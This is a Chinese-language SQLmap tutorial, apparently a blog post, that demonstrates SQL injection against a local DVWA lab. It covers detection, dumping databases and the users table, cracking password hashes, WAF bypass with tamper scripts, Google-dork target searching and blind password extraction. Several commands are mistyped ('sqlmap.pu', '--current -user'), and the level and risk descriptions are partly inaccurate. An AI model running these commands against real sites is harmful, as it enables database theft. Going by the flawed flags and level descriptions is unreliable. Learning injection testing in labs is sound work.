【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)

前言

SQLmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台。

SQLmap的下载及安装本文不再详述,下载链接:https://github.com/sqlmapproject/sqlmap

本文以DVWA作为靶场,留言板项目渗透实例可参考:留言板项目SQLmap渗透实例 | CSDN@秋说

本文分为目标脱库账号其它四个部分进行讲解

文章目录

    • 前言
    • 目标
      • 1、单个URL、Cookie
      • 2、文件URL、POST
    • 脱库
      • 1、获取当前数据库版本
      • 2、获取当前数据库名称
      • 3、列出所有数据库
      • 4、列出指定数据库的所有表
      • 5、获取表中所有数据
      • 6、搜索库、表、字段
      • 7、绕过WAF
    • 账号
      • 1、获取所有数据
      • 2、显示当前用户
      • 3、检测是否为数据库管理员
      • 4、获取所有用户
      • 5、查看当前用户权限
      • 6、获取用户的密码(hash值)
      • 7、获取服务器主机名称
      • 8、显示正在运行的SQL语句
      • 9、以盲注方式获取web应用程序的管理员密码:
    • 其它


目标

1、单个URL、Cookie

1)检测指定URL是否存在SQL注入漏洞:

python sqlmap.py -u 目标URL

2)设置Cookie参数,绕过Web应用程序的安全检查,检测是否含有SQL注入漏洞:

python sqlmap.py -u 目标URL --cookie="cookie参数"

实例如下:

提取URL进行注入:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第1张图片
【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第2张图片

通过上图回显可以看到302定向到login.php,故需附上cookie

由于控制台并不能回显PHP session,故通过bp抓包得到cookie:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第3张图片

security=low; PHPSESSID=blp5j1964tfgiov6iusv24m9uj

故POC如下:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj"

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第4张图片

结果如下:

在这里插入图片描述

说明存在SQL注入漏洞。


2、文件URL、POST

1)检测指定文件中的全部URL是否存在SQL注入漏洞

python sqlmap.py -m 文件名

实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说


2)通过POST请求包进行SQL注入(Burp抓包),检测是否含有SQL注入漏洞

python sqlmap.py -r POST请求包

python sqlmap.py -u "http://example.com/login.php" --data "username=1&password=1"(注入点)

实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说


3)指定进行检测的数据库类型

python sqlmap.py -u 目标URL -dbms 数据库类型

-D 指定数据库

-T 指定表

-C 指定字段

脱库

在确定能够使用SQLmap进行注入后,可以进行脱库操作。

1、获取当前数据库版本

python sqlmap.py -u 目标URL -b

实例如下:

POC含有Cookie参数

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第5张图片
回显如下:

在这里插入图片描述

  • Web应用程序技术:PHP版本为7.3.4,Nginx版本为1.15.11。
  • 后端数据库管理系统(DBMS):MySQL版本要求大于等于5.6,实际检测到的版本为5.7.26。

2、获取当前数据库名称

python sqlmap.py -u 目标URL --current-db

实例如下:

POC含有Cookie参数

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第6张图片
回显可知当前数据库名称为dvwa:

在这里插入图片描述

3、列出所有数据库

python sqlmap.py -u 目标URL --dbs

实例如下:

图中的POC含有Cookie参数

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第7张图片
回显如下,存在两个数据库,一个为dvwa,一个为information_schema

在这里插入图片描述

4、列出指定数据库的所有表

python sqlmap.py -u 目标URL -D 数据库名称 --tables

实例如下:

这里列出dvwa数据库所有的表,POC含有Cookie参数

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第8张图片
回显如下,两个表,一个为guestbook,一个为users:

在这里插入图片描述

5、获取表中所有数据

python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump

实例如下:

这里列出users所有的数据,POC含有Cookie参数

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第9张图片

由于密码经过hash加密,SQLmap会通过不同的加密算法遍历每个字符串,将得到的hash值与数据库中的hash进行匹配:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第10张图片

如图是使用md5加密后进行匹配得到密码的部分结果:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第11张图片

结果如图:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第12张图片

6、搜索库、表、字段

python sqlmap.py -u 目标URL --search

7、绕过WAF

python sqlmap.pu -u 目标URL --tamper

账号

1、获取所有数据

python sqlmap.pu -u 目标URL -a

实例如下:

POC包含cookie参数

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj" -a

结果如图:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第13张图片
【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第14张图片

2、显示当前用户

python sqlmap.pu -u 目标URL --current -user

实例如下:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第15张图片

回显如下,当前用户为admin:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第16张图片

3、检测是否为数据库管理员

python sqlmap.pu -u 目标URL --is-dba

实例如下:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第17张图片

回显如下:

在这里插入图片描述

当前用户不是管理员

4、获取所有用户

python sqlmap.pu -u 目标URL --users

5、查看当前用户权限

python sqlmap.pu -u 目标URL --privileges

实例如下:

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第18张图片
回显如下:

在这里插入图片描述

当前权限为USAGE

6、获取用户的密码(hash值)

python sqlmap.pu -u 目标URL --passwords

7、获取服务器主机名称

python sqlmap.pu -u 目标URL --hostname

【网络安全 | 渗透工具】SQLmap精讲(全网最详细图文教程)_第19张图片

回显如下:

在这里插入图片描述

8、显示正在运行的SQL语句

python sqlmap.pu -u 目标URL --statements

9、以盲注方式获取web应用程序的管理员密码:

python sqlmap.py -u 目标URL --technique=T --time-sec 10 --level=3 --risk=3 --current-user --current-db --passwords

其它

1)不再询问确认:

python sqlmap.pu -u 目标URL --batch

2)指定请求方式:

python sqlmap.pu -u 目标URL --method=GET

3)随机UA:

python sqlmap.pu -u 目标URL --random-agent

4)自定义UA:

python sqlmap.pu -u 目标URL --user-agent''

5)自定义referer:

python sqlmap.pu -u 目标URL --referer''

6)指定代理:

python sqlmap.pu -u 目标URL --proxy="127.0.0.1:8080"

7)指定线程数(由1至10):

python sqlmap.pu -u 目标URL --threads 10

8)使用搜索功能来查找漏洞:

python sqlmap.py -u 目标URL --google-dork "inurl:php?id="

9)指定测试等级(由1至5):

python sqlmap.pu -u 目标URL --level=1

10)指定风险等级(由0至3):

python sqlmap.pu -u 目标URL --risk=1
level参数:指定扫描深度的级别,范围为1-5,级别越高,扫描的深度就越深。具体含义如下:

1级别:只做最基本的测试,速度最快。
2级别:会测试大部分的注入点,但不会尝试绕过WAF或IDS等安全设备。
3级别:会测试所有可疑的注入点,并尝试绕过WAF或IDS等安全设备。
4级别:比较耗时,会进行一些额外的测试和检测。
5级别:最深度的测试,将尽可能地测试所有的注入点和漏洞。

risk参数:指定扫描的风险级别,范围为0-3,级别越高,扫描的敏感性越高。具体含义如下:

0级别:只针对一些非常明显的、极易被发现的漏洞进行测试。
1级别:测试所有普通的注入点。
2级别:测试所有可疑的注入点,并使用一些高级的技术尝试绕过安全机制。
3级别:最高风险级别,尝试针对所有可能的注入点进行测试,并使用一切可用的技术和手段进行攻击。

你可能感兴趣的:(网络安全,#,渗透工具,#,SQL注入攻击,web安全,安全,sqlmap)